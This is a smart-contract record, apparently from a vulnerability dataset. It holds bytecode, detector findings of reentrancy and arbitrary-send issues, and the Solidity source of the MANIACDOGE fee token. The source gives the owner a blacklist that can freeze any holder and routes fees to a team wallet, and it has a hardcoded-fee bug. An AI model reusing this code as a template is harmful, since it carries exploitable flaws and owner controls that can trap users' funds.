d5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e0949cd34ce455e55e10200091dcb130bbe8c83f9cf933fcae1093a3877707c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,326 |
0x3848ce4a5417e0bfd2a4da97fee0790654aa5237
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MANIACDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MANIACDOGE";
string private constant _symbol = " MANIAC DOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600a81526020017f4d414e494143444f474500000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffff